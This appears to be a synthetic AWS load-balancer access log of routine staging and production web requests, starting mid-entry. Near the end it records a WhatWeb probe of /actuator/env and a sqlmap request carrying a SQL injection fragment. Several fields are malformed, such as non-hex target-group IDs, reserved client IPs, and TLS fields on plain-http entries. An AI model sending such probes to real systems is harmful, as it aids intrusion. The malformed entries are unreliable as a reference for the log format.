TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdb4-c3a60c666add44939d4c9072" "staging-alb.example.com" "-" 5 2024-11-01T00:26:12.950671Z "forward" "-" "-" "182.9.96.250:80" "200" "-" "-" -https 2024-11-01T00:26:14.429794Z prod-api-alb 0.226.155.172:10978 10.0.94.14:443 0.057810 0.455304 0.040388 200 200 464 5665 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bdb6-a83943ac8362436fb9ca5aef" "prod-api-alb.example.com" "-" 7 2024-11-01T00:26:14.429794Z "forward" "-" "-" "10.0.94.14:443" "200" "-" "-" -http 2024-11-01T00:26:16.096111Z staging-alb 215.154.237.8:25441 107.155.172.4:8080 0.127980 0.434979 0.054128 200 200 838 12627 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdb8-58de45c1e8f14f3dab74a919" "staging-alb.example.com" "-" 0 2024-11-01T00:26:16.096111Z "forward" "-" "-" "107.155.172.4:8080" "200" "-" "-" -http 2024-11-01T00:26:17.696582Z staging-alb 98.56.25.119:14660 74.52.32.104:8080 0.136482 0.024559 0.111784 200 200 659 5621 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdb9-a18b6cb43b2f4080b6945ba7" "staging-alb.example.com" "-" 6 2024-11-01T00:26:17.696582Z "forward" "-" "-" "74.52.32.104:8080" "200" "-" "-" -https 2024-11-01T00:26:18.215066Z prod-web-alb 24.3.42.18:64067 10.0.111.62:443 0.094859 0.401553 0.080363 404 404 959 10958 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdba-d0c8951070604610ae022d51" "prod-web-alb.example.com" "-" 7 2024-11-01T00:26:18.215066Z "forward" "-" "-" "10.0.111.62:443" "404" "-" "-" -https 2024-11-01T00:26:18.846798Z prod-web-alb 194.150.110.163:28051 10.0.104.120:443 0.002612 0.170969 0.031131 404 404 516 8950 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdba-3838a294aded46069cd101af" "prod-web-alb.example.com" "-" 0 2024-11-01T00:26:18.846798Z "forward" "-" "-" "10.0.104.120:443" "404" "-" "-" -https 2024-11-01T00:26:19.488669Z prod-web-alb 201.158.106.7:41024 10.0.201.247:443 0.069968 0.228177 0.026111 200 200 753 5919 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdbb-e9994e417df14ef98789162d" "prod-web-alb.example.com" "-" 5 2024-11-01T00:26:19.488669Z "forward" "-" "-" "10.0.201.247:443" "200" "-" "-" -https 2024-11-01T00:26:20.200978Z prod-web-alb 95.214.137.132:50137 10.0.105.59:443 0.076167 0.166967 0.000387 404 404 448 544 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdbc-d8f03e25ac0b4495ab12e665" "prod-web-alb.example.com" "-" 9 2024-11-01T00:26:20.200978Z "forward" "-" "-" "10.0.105.59:443" "404" "-" "-" -https 2024-11-01T00:26:21.916519Z prod-api-alb 167.85.73.155:16243 10.0.46.121:443 0.032461 0.448741 0.028159 302 302 902 10396 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdbd-63818b35dcb444c68d600740" "-" "-" 8 2024-11-01T00:26:21.916519Z "forward" "-" "-" "10.0.46.121:443" "302" "-" "-" -http 2024-11-01T00:26:23.169098Z staging-alb 158.242.183.69:29875 188.121.106.254:443 0.016909 0.235254 0.080624 200 200 239 6343 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdbf-18b4556564824c9298eb6d88" "staging-alb.example.com" "-" 9 2024-11-01T00:26:23.169098Z "forward" "-" "-" "188.121.106.254:443" "200" "-" "-" -https 2024-11-01T00:26:24.690135Z staging-alb 133.103.10.45:26987 127.244.4.10:8080 0.106637 0.355892 0.044461 200 200 235 7436 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdc0-3e3f1418090c4ffaa44795e9" "staging-alb.example.com" "-" 3 2024-11-01T00:26:24.690135Z "forward" "-" "-" "127.244.4.10:8080" "200" "-" "-" -https 2024-11-01T00:26:26.081065Z staging-alb 229.78.182.89:22859 251.5.124.166:8080 0.142506 0.193280 0.022097 404 404 512 6262 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdc2-66b7ff64aa694edbbd29828e" "staging-alb.example.com" "-" 7 2024-11-01T00:26:26.081065Z "forward" "-" "-" "251.5.124.166:8080" "404" "-" "-" -https 2024-11-01T00:26:26.625438Z prod-api-alb 71.192.81.28:64759 10.0.83.50:443 0.066565 0.308757 0.034130 302 302 784 7608 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdc2-ee55e1ad556f47418e4e7ad4" "prod-api-alb.example.com" "-" 9 2024-11-01T00:26:26.625438Z "forward" "-" "-" "10.0.83.50:443" "302" "-" "-" -https 2024-11-01T00:26:27.804148Z prod-api-alb 26.76.8.93:52661 10.0.188.121:443 0.074735 0.177419 0.084881 200 200 371 9917 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdc3-70d184612da94ac3aa7a5fa7" "prod-api-alb.example.com" "-" 4 2024-11-01T00:26:27.804148Z "forward" "-" "-" "10.0.188.121:443" "200" "-" "-" -https 2024-11-01T00:26:29.347092Z prod-web-alb 68.126.63.172:61552 10.0.116.36:443 0.088744 0.333108 0.037372 302 302 135 8264 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdc5-3c3834bf3a814611b263111b" "prod-web-alb.example.com" "-" 9 2024-11-01T00:26:29.347092Z "forward" "-" "-" "10.0.116.36:443" "302" "-" "-" -https 2024-11-01T00:26:30.639383Z prod-api-alb 139.81.178.238:17341 10.0.32.243:443 0.015531 0.262816 0.083357 200 200 663 3038 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdc6-0c3422fc36cb4c778f2eb210" "prod-api-alb.example.com" "-" 8 2024-11-01T00:26:30.639383Z "forward" "-" "-" "10.0.32.243:443" "200" "-" "-" -https 2024-11-01T00:26:32.477733Z prod-api-alb 169.238.103.140:43317 10.0.254.120:443 0.093722 0.014717 0.065624 200 200 854 9195 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdc8-17b187c694f04dbfb0bd813d" "prod-api-alb.example.com" "-" 3 2024-11-01T00:26:32.477733Z "forward" "-" "-" "10.0.254.120:443" "200" "-" "-" -https 2024-11-01T00:26:32.698324Z prod-api-alb 233.200.176.64:10444 10.0.239.203:443 0.003834 0.167213 0.087690 200 200 268 2282 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdc8-9cd638ca131840c9b8d08c87" "prod-api-alb.example.com" "-" 8 2024-11-01T00:26:32.698324Z "forward" "-" "-" "10.0.239.203:443" "200" "-" "-" -https 2024-11-01T00:26:34.241077Z prod-web-alb 192.117.185.252:24396 10.0.202.24:443 0.051485 0.248608 0.027767 200 200 240 7618 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bdca-04629d3acce6496684e63665" "-" "-" 8 2024-11-01T00:26:34.241077Z "forward" "-" "-" "10.0.202.24:443" "200" "-" "-" -https 2024-11-01T00:26:35.658096Z staging-alb 124.139.230.176:62697 21.227.38.161:443 0.087192 0.117346 0.004969 200 200 598 5900 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdcb-1a71ee96ff1a40cca49a44ba" "staging-alb.example.com" "-" 5 2024-11-01T00:26:35.658096Z "forward" "-" "-" "21.227.38.161:443" "200" "-" "-" -https 2024-11-01T00:26:37.566656Z prod-api-alb 36.218.237.240:47733 10.0.230.60:443 0.028043 0.146679 0.010541 404 404 325 4545 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bdcd-5d168d607a6d46c58d794759" "prod-api-alb.example.com" "-" 5 2024-11-01T00:26:37.566656Z "forward" "-" "-" "10.0.230.60:443" "404" "-" "-" -https 2024-11-01T00:26:37.825625Z staging-alb 100.109.215.128:54849 204.15.102.203:80 0.102593 0.286619 0.110951 200 200 882 14226 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdcd-1fecb9a53ff54dd08a2b8aac" "staging-alb.example.com" "-" 4 2024-11-01T00:26:37.825625Z "forward" "-" "-" "204.15.102.203:80" "200" "-" "-" -http 2024-11-01T00:26:39.749583Z staging-alb 130.67.25.27:33888 39.107.139.92:443 0.127671 0.161298 0.076463 302 302 33 1885 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdcf-26daf6a4c7b84ae5a4d6510d" "staging-alb.example.com" "-" 7 2024-11-01T00:26:39.749583Z "forward" "-" "-" "39.107.139.92:443" "302" "-" "-" -http 2024-11-01T00:26:39.939894Z staging-alb 216.118.145.182:46914 166.85.39.162:80 0.065024 0.104767 0.080173 200 200 937 2882 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdcf-f78522e57262470888c812d3" "staging-alb.example.com" "-" 9 2024-11-01T00:26:39.939894Z "forward" "-" "-" "166.85.39.162:80" "200" "-" "-" -https 2024-11-01T00:26:41.299494Z staging-alb 105.135.120.248:22496 29.130.219.150:443 0.041785 0.550399 0.068191 301 301 668 12756 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdd1-c35f41be94b94859bd189185" "staging-alb.example.com" "-" 1 2024-11-01T00:26:41.299494Z "forward" "-" "-" "29.130.219.150:443" "301" "-" "-" -https 2024-11-01T00:26:41.582408Z prod-web-alb 52.139.58.53:17364 10.0.222.203:443 0.055116 0.086115 0.011302 200 200 389 4885 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdd1-bcf61845e2cc41c7bc423074" "prod-web-alb.example.com" "-" 10 2024-11-01T00:26:41.582408Z "forward" "-" "-" "10.0.222.203:443" "200" "-" "-" -https 2024-11-01T00:26:41.714258Z prod-web-alb 211.15.154.47:44929 10.0.184.44:443 0.049164 0.388546 0.083511 200 200 576 5860 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bdd1-b15e5a3dceb34de1a8c0768f" "prod-web-alb.example.com" "-" 1 2024-11-01T00:26:41.714258Z "forward" "-" "-" "10.0.184.44:443" "200" "-" "-" -http 2024-11-01T00:26:43.090347Z staging-alb 192.199.176.147:19333 56.200.160.227:8080 0.029907 0.451932 0.077299 200 200 78 8038 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdd3-21e338a5d53a44cbb73becb9" "staging-alb.example.com" "-" 5 2024-11-01T00:26:43.090347Z "forward" "-" "-" "56.200.160.227:8080" "200" "-" "-" -http 2024-11-01T00:26:43.427008Z staging-alb 50.69.167.245:38479 77.81.149.68:80 0.025403 0.292050 0.045691 404 404 886 8852 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdd3-ba28ffef36e04c7681cfda38" "staging-alb.example.com" "-" 4 2024-11-01T00:26:43.427008Z "forward" "-" "-" "77.81.149.68:80" "404" "-" "-" -http 2024-11-01T00:26:44.447095Z staging-alb 112.21.235.60:48935 233.132.251.28:443 0.112908 0.409925 0.148245 404 404 247 12699 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bdd4-270ba6a2a94d4eca89c6b977" "staging-alb.example.com" "-" 6 2024-11-01T00:26:44.447095Z "forward" "-" "-" "233.132.251.28:443" "404" "-" "-" -https 2024-11-01T00:26:45.872637Z prod-api-alb 156.97.254.32:30846 10.0.21.128:443 0.021939 0.292871 0.067335 200 200 89 5299 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdd5-424f25687de648bc9f3d4b7f" "prod-api-alb.example.com" "-" 2 2024-11-01T00:26:45.872637Z "forward" "-" "-" "10.0.21.128:443" "200" "-" "-" -https 2024-11-01T00:26:46.551734Z prod-web-alb 174.145.175.248:47452 10.0.152.180:443 0.058281 0.419359 0.052590 302 302 43 5528 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bdd6-1e1feadc48aa403fbaec571d" "prod-web-alb.example.com" "-" 1 2024-11-01T00:26:46.551734Z "forward" "-" "-" "10.0.152.180:443" "302" "-" "-" -http 2024-11-01T00:26:48.153556Z staging-alb 249.171.230.87:43421 131.155.37.81:443 0.063574 0.734680 0.012666 200 200 916 8260 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bdd8-b35c15b2d668484587709735" "staging-alb.example.com" "-" 10 2024-11-01T00:26:48.153556Z "forward" "-" "-" "131.155.37.81:443" "200" "-" "-" -https 2024-11-01T00:26:48.433975Z prod-web-alb 125.199.141.22:45820 10.0.100.162:443 0.063211 0.011110 0.011001 200 200 557 6808 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bdd8-f50e67d8d6634a36a22c4708" "prod-web-alb.example.com" "-" 0 2024-11-01T00:26:48.433975Z "forward" "-" "-" "10.0.100.162:443" "200" "-" "-" -https 2024-11-01T00:26:49.739948Z prod-api-alb 45.74.62.211:57498 10.0.209.106:443 0.042119 0.053930 0.087633 302 302 350 3214 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bdd9-54ce204a4b2443faaa7b0293" "prod-api-alb.example.com" "-" 0 2024-11-01T00:26:49.739948Z "forward" "-" "-" "10.0.209.106:443" "302" "-" "-" -https 2024-11-01T00:26:50.554528Z prod-web-alb 45.155.205.9:62123 10.0.133.32:443 0.086647 0.383749 0.015217 500 500 612 5882 "POST /actuator/env HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bdda-a428779b4fed431c8efe8e5e" "-" "-" 5 2024-11-01T00:26:50.554528Z "forward" "-" "-" "10.0.133.32:443" "500" "-" "-" -https 2024-11-01T00:26:51.631807Z prod-web-alb 185.181.118.169:28679 10.0.120.89:443 0.049590 0.493524 0.059385 500 500 660 13699 "POST /search?q=1' UNION SELECT HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bddb-336f14437221430c8e1cfd89" "-" "-" 7 2024-11-01T00:26:51.631807Z "forward" "-" "-" "10.0.120.89:443" "500" "-" "-" -https 2024-11-01T00:26:51.873092Z prod-api-alb 171.166.248.118:45233 10.0.152.178:443 0.051638 0.448199 0.018169 200 200 117 9357 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bddb-6bafe79245484b8fb4f6b3ab" "prod-api-alb.example.com" "-" 0 2024-11-01T00:26:51.873092Z "forward" "-" "-" "10.0.152.178:443" "200" "-" "-" -http 2024-11-01T00:26:52.158950Z staging-alb 148.241.140.250:50040 241.92.69.185:8080 0.002986 0.014530 0.130065 200 200 154 2620 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bddc-583fe8c00f0346079ba6f525" "-" "-" 5 2024-11-01T00:26:52.158950Z "forward" "-" "-" "241.92.69.185:8080" "200" "-" "-" -https 2024-11-01T00:26:53.909558Z prod-api-alb 35.100.11.128:22730 10.0.191.230:443 0.088745 0.207136 0.026061 302 302 622 3110 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bddd-856ab954b75d4046b2db3564" "prod-api-alb.example.com" "-" 10 2024-11-01T00:26:53.909558Z "forward" "-" "-" "10.0.191.230:443" "302" "-" "-" -https 2024-11-01T00:26:55.246348Z staging-alb 60.254.217.90:50289 141.219.99.108:8080 0.106422 0.191659 0.066191 200 200 891 13495 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bddf-ff35b143e194406f9d599cc4" "staging-alb.example.com" "-" 8 2024-11-01T00:26:55.246348Z "forward" "-" "-" "141.219.99.108:8080" "200" "-" "-" -https 2024-11-01T00:26:55.867421Z prod-web-alb 240.71.226.35:56813 10.0.255.176:443 0.044705 0.453773 0.078167 200 200 927 12384 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bddf-898e641684a74ade84617d9f" "prod-web-alb.example.com" "-" 3 2024-11-01T00:26:55.867421Z "forward" "-" "-" "10.0.255.176:443" "200" "-" "-" -https 2024-11-01T00:26:56.520564Z prod-api-alb 44.223.86.110:45800 10.0.83.89:443 0.034045 0.040450 0.099938 200 200 300 8258 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bde0-6ce5feb062ff4b2fb044562d" "prod-api-alb.example.com" "-" 1 2024-11-01T00:26:56.520564Z "forward" "-" "-" "10.0.83.89:443" "200" "-" "-" -http 2024-11-01T00:26:58.012394Z staging-alb 177.64.195.176:29883 235.84.137.35:443 0.030285 0.290242 0.023977 200 200 717 13588 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bde2-28da88c687524e54ab1c30a5" "staging-alb.example.com" "-" 6 2024-11-01T00:26:58.012394Z "forward" "-" "-" "235.84.137.35:443" "200" "-" "-" -https 2024-11-01T00:26:59.366549Z prod-api-alb 244.166.183.79:31388 10.0.118.151:443 0.077764 0.117480 0.033295 200 200 2 10205 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bde3-e7174463348f407f9b65ad4d" "prod-api-alb.example.com" "-" 2 2024-11-01T00:26:59.366549Z "forward" "-" "-" "10.0.118.151:443" "200" "-" "-" -http 2024-11-01T00:27:00.514752Z staging-alb 244.100.241.109:43931 0.37.233.192:443 0.047243 0.666491 0.063654 200 200 672 5695 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bde4-3560a45984ad47b89bf63c68" "staging-alb.example.com" "-" 10 2024-11-01T00:27:00.514752Z "forward" "-" "-" "0.37.233.192:443" "200" "-" "-" -https 2024-11-01T00:27:00.762264Z prod-web-alb 177.152.111.176:13769 10.0.147.127:443 0.000018 0.036467 0.038222 200 200 628 11092 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bde4-2f27c638ac4246768bc11ca0" "prod-web-alb.example.com" "-" 1 2024-11-01T00:27:00.762264Z "forward" "-" "-" "10.0.147.127:443" "200" "-" "-" -https 2024-11-01T00:27:02.354791Z prod-api-alb 223.232.134.131:45829 10.0.154.127:443 0.021902 0.345880 0.082567 301 301 88 3389 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bde6-4c1d30ad273c453f99507e80" "prod-api-alb.example.com" "-" 9 2024-11-01T00:27:02.354791Z "forward" "-" "-" "10.0.154.127:443" "301" "-" "-" -http 2024-11-01T00:27:03.619087Z staging-alb 133.2.161.159:40626 124.190.23.220:80 0.024887 0.342189 0.015718 404 404 582 3731 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bde7-ded7c8a5986447a7866a716f" 